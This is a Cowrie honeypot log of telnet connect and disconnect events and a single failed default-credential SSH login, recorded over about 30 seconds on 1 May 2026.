{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":51094,"dst_ip":"10.17.0.5","dst_port":23,"session":"c777dd5b953a","protocol":"telnet","message":"New connection: 173.249.63.118:51094 (10.17.0.5:23) [session: c777dd5b953a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:25.943304Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33800,"dst_ip":"159.203.135.109","dst_port":23,"session":"220d873c1871","protocol":"telnet","message":"New connection: 51.161.172.108:33800 (159.203.135.109:23) [session: 220d873c1871]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:26.004661Z"}
{"eventid":"cowrie.session.closed","duration":30.89735221862793,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:26.155592Z","src_ip":"173.249.63.118","session":"c700714a136f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.791049003601074,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:26.458345Z","src_ip":"51.161.172.108","session":"e03eb832f7bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.260570764541626,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:26.839710Z","src_ip":"51.161.172.108","session":"44f7690ceec7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":53902,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b227c6ec9cf","protocol":"telnet","message":"New connection: 173.249.63.118:53902 (10.17.0.5:23) [session: 8b227c6ec9cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:27.048404Z"}
{"eventid":"cowrie.session.closed","duration":31.11715841293335,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:27.331387Z","src_ip":"51.161.172.108","session":"ff175b349c18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.601053476333618,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:27.622211Z","src_ip":"51.161.172.108","session":"8d590c5acc85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33802,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1e317eb3b96","protocol":"telnet","message":"New connection: 51.161.172.108:33802 (159.203.135.109:23) [session: f1e317eb3b96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:28.046045Z"}
{"eventid":"cowrie.session.closed","duration":30.884671688079834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:29.213805Z","src_ip":"51.161.172.108","session":"6e66439e1df7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.595566749572754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:29.246292Z","src_ip":"173.249.63.118","session":"45b69336e154","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.54349946975708,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:29.270667Z","src_ip":"167.99.38.72","session":"d10bf8a57683","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.584430694580078,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:29.597858Z","src_ip":"51.161.172.108","session":"6e33ab7dd833","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52182,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f92becf08fa","protocol":"telnet","message":"New connection: 51.161.172.108:52182 (159.203.135.109:23) [session: 3f92becf08fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:29.955003Z"}
{"eventid":"cowrie.session.closed","duration":31.43269634246826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:30.659338Z","src_ip":"51.161.172.108","session":"3b28b2d76ad0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52194,"dst_ip":"159.203.135.109","dst_port":23,"session":"c63811703f9f","protocol":"telnet","message":"New connection: 51.161.172.108:52194 (159.203.135.109:23) [session: c63811703f9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:30.844480Z"}
{"eventid":"cowrie.session.closed","duration":30.847084522247314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:31.186174Z","src_ip":"51.161.172.108","session":"7e445175d50a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":54714,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7adf2c9ae88","protocol":"telnet","message":"New connection: 173.249.63.118:54714 (10.17.0.5:23) [session: a7adf2c9ae88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:31.244675Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":49842,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c16e012e274","protocol":"telnet","message":"New connection: 167.99.38.72:49842 (159.203.135.109:23) [session: 3c16e012e274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:31.716397Z"}
{"eventid":"cowrie.session.closed","duration":38.736993074417114,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:31.949368Z","src_ip":"167.99.38.72","session":"f3bb1e53c1ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.699198961257935,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:32.057357Z","src_ip":"51.161.172.108","session":"df904a3be889","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":55250,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dfe8b5c6802","protocol":"telnet","message":"New connection: 173.249.63.118:55250 (10.17.0.5:23) [session: 3dfe8b5c6802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:32.344501Z"}
{"eventid":"cowrie.session.closed","duration":30.96085476875305,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:32.349614Z","src_ip":"51.161.172.108","session":"64f5527a6153","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.90960454940796,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:32.562597Z","src_ip":"167.99.38.72","session":"5b441b95af56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52196,"dst_ip":"159.203.135.109","dst_port":23,"session":"b48eb14805ad","protocol":"telnet","message":"New connection: 51.161.172.108:52196 (159.203.135.109:23) [session: b48eb14805ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:32.896526Z"}
{"eventid":"cowrie.session.closed","duration":31.237905502319336,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:33.460928Z","src_ip":"173.249.63.118","session":"165635ddaee0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:33.959609Z","src_ip":"122.168.114.167","session":"0ab5b2b1994b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.866189002990723,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:34.133588Z","src_ip":"167.99.38.72","session":"dc57e9ad11ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.04581117630005,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:34.184732Z","src_ip":"167.99.38.72","session":"94f9cde76e50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.761738538742065,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:34.242548Z","src_ip":"51.161.172.108","session":"5a773d4cc376","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.233800411224365,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:34.252662Z","src_ip":"51.161.172.108","session":"837a9b9619d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.544426679611206,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:34.454506Z","src_ip":"173.249.63.118","session":"3aa270f0da2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"21.2","message":"Connection lost after 21.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:35.247764Z","src_ip":"122.168.114.167","session":"0ab5b2b1994b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":59350,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b53f6c24d83","protocol":"telnet","message":"New connection: 173.249.63.118:59350 (10.17.0.5:23) [session: 5b53f6c24d83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:35.446475Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":58768,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab3a155392b1","protocol":"telnet","message":"New connection: 173.249.63.118:58768 (10.17.0.5:23) [session: ab3a155392b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:35.453186Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":60364,"dst_ip":"10.17.0.5","dst_port":23,"session":"388f9aaefb6c","protocol":"telnet","message":"New connection: 173.249.63.118:60364 (10.17.0.5:23) [session: 388f9aaefb6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:37.247159Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52202,"dst_ip":"159.203.135.109","dst_port":23,"session":"106c7e15b544","protocol":"telnet","message":"New connection: 51.161.172.108:52202 (159.203.135.109:23) [session: 106c7e15b544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:37.436653Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":58204,"dst_ip":"10.17.0.5","dst_port":23,"session":"83150ba57792","protocol":"telnet","message":"New connection: 173.249.63.118:58204 (10.17.0.5:23) [session: 83150ba57792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:37.466448Z"}
{"eventid":"cowrie.session.closed","duration":31.54526376724243,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:38.025429Z","src_ip":"51.161.172.108","session":"ada931fcfe31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10280728340149,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:38.391562Z","src_ip":"51.161.172.108","session":"fff79ce41695","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52214,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fb9a7a38a65","protocol":"telnet","message":"New connection: 51.161.172.108:52214 (159.203.135.109:23) [session: 8fb9a7a38a65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:39.017496Z"}
{"eventid":"cowrie.session.closed","duration":31.593219995498657,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:39.051234Z","src_ip":"173.249.63.118","session":"fa711a5016c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.134581565856934,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:40.081387Z","src_ip":"167.99.38.72","session":"59ef5351a94c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.60877251625061,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:40.559607Z","src_ip":"173.249.63.118","session":"f6e515cab4e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36212,"dst_ip":"159.203.135.109","dst_port":23,"session":"56dea8eaecca","protocol":"telnet","message":"New connection: 51.161.172.108:36212 (159.203.135.109:23) [session: 56dea8eaecca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:40.673158Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":32852,"dst_ip":"10.17.0.5","dst_port":23,"session":"900e04059a42","protocol":"telnet","message":"New connection: 173.249.63.118:32852 (10.17.0.5:23) [session: 900e04059a42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:41.243551Z"}
{"eventid":"cowrie.session.closed","duration":30.742221117019653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:41.248925Z","src_ip":"51.161.172.108","session":"fc68315f4335","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99933171272278,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:41.415748Z","src_ip":"51.161.172.108","session":"a1599ee6bcc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":34242,"dst_ip":"10.17.0.5","dst_port":23,"session":"579be61a7a0d","protocol":"telnet","message":"New connection: 173.249.63.118:34242 (10.17.0.5:23) [session: 579be61a7a0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:41.658105Z"}
{"eventid":"cowrie.session.closed","duration":30.793515920639038,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:42.147143Z","src_ip":"173.249.63.118","session":"b5d9196c09d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.80936026573181,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:43.963481Z","src_ip":"173.249.63.118","session":"0b9a8a203d37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":37994,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0860bb4b308","protocol":"telnet","message":"New connection: 173.249.63.118:37994 (10.17.0.5:23) [session: e0860bb4b308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:44.347174Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":36920,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b7fd3b435bc","protocol":"telnet","message":"New connection: 173.249.63.118:36920 (10.17.0.5:23) [session: 7b7fd3b435bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:44.352802Z"}
{"eventid":"cowrie.session.closed","duration":31.811182498931885,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:44.954802Z","src_ip":"173.249.63.118","session":"58845305ae04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99016237258911,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:45.256648Z","src_ip":"173.249.63.118","session":"8e2c9d22506b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.040447473526,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:45.649574Z","src_ip":"51.161.172.108","session":"a72d6785fc44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.40854835510254,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:45.956344Z","src_ip":"173.249.63.118","session":"90e980cf9d10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.142035007476807,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:46.483059Z","src_ip":"51.161.172.108","session":"b10f5c3ea43f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":32978,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e065cbf3436","protocol":"telnet","message":"New connection: 173.249.63.118:32978 (10.17.0.5:23) [session: 3e065cbf3436]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:46.651490Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36224,"dst_ip":"159.203.135.109","dst_port":23,"session":"df28802f3a7f","protocol":"telnet","message":"New connection: 51.161.172.108:36224 (159.203.135.109:23) [session: df28802f3a7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:46.698138Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":40256,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fc0502820e9","protocol":"telnet","message":"New connection: 173.249.63.118:40256 (10.17.0.5:23) [session: 1fc0502820e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:47.045539Z"}
{"eventid":"cowrie.session.closed","duration":30.71059012413025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:47.255288Z","src_ip":"173.249.63.118","session":"37cd65105338","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.21015429496765,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:47.326426Z","src_ip":"167.99.38.72","session":"316e408a4b91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":40512,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8ebea99c658","protocol":"telnet","message":"New connection: 173.249.63.118:40512 (10.17.0.5:23) [session: e8ebea99c658]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:47.348415Z"}
{"eventid":"cowrie.session.closed","duration":31.707306385040283,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:47.750162Z","src_ip":"173.249.63.118","session":"a9f51c4c7c63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.196264505386353,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:48.225185Z","src_ip":"51.161.172.108","session":"747a000f77ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.18757677078247,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:48.244038Z","src_ip":"173.249.63.118","session":"0d688351666f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.674991369247437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:48.322561Z","src_ip":"51.161.172.108","session":"c9582755220e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":39962,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a58febe2064","protocol":"telnet","message":"New connection: 173.249.63.118:39962 (10.17.0.5:23) [session: 2a58febe2064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:49.659061Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38524,"dst_ip":"159.203.135.109","dst_port":23,"session":"a900ec252ef2","protocol":"telnet","message":"New connection: 51.161.172.108:38524 (159.203.135.109:23) [session: a900ec252ef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:50.073987Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":42038,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0b803b88308","protocol":"telnet","message":"New connection: 173.249.63.118:42038 (10.17.0.5:23) [session: a0b803b88308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:50.748703Z"}
{"eventid":"cowrie.session.closed","duration":31.405622005462646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:50.857784Z","src_ip":"173.249.63.118","session":"44f85fca365f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":38530,"dst_ip":"159.203.135.109","dst_port":23,"session":"47f2d7843d4b","protocol":"telnet","message":"New connection: 51.161.172.108:38530 (159.203.135.109:23) [session: 47f2d7843d4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:50.862866Z"}
{"eventid":"cowrie.session.closed","duration":31.138455390930176,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:51.244267Z","src_ip":"51.161.172.108","session":"817d885847a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.104083776474,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:51.354992Z","src_ip":"173.249.63.118","session":"a64d501bd280","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.215543508529663,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:51.864528Z","src_ip":"173.249.63.118","session":"d690fc8442cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":42626,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d1ef043ff2a","protocol":"telnet","message":"New connection: 173.249.63.118:42626 (10.17.0.5:23) [session: 0d1ef043ff2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:51.943713Z"}
{"eventid":"cowrie.session.closed","duration":31.46399164199829,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:52.485822Z","src_ip":"51.161.172.108","session":"4183de3e4c7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":50056,"dst_ip":"10.17.0.5","dst_port":23,"session":"1219a7b8afeb","protocol":"telnet","message":"New connection: 173.249.63.118:50056 (10.17.0.5:23) [session: 1219a7b8afeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:52.652838Z"}
{"eventid":"cowrie.session.closed","duration":0.005374908447265625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:52.658093Z","src_ip":"173.249.63.118","session":"1219a7b8afeb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":43036,"dst_ip":"10.17.0.5","dst_port":23,"session":"cafa20a80a1c","protocol":"telnet","message":"New connection: 173.249.63.118:43036 (10.17.0.5:23) [session: cafa20a80a1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:52.763026Z"}
{"eventid":"cowrie.session.closed","duration":31.7796311378479,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:53.100139Z","src_ip":"51.161.172.108","session":"5bc2cc668ec0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.78992009162903,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:53.143706Z","src_ip":"173.249.63.118","session":"c06a9bf9bb7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.317577600479126,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:54.164466Z","src_ip":"173.249.63.118","session":"577b0a6f6c27","protocol":"telnet"}
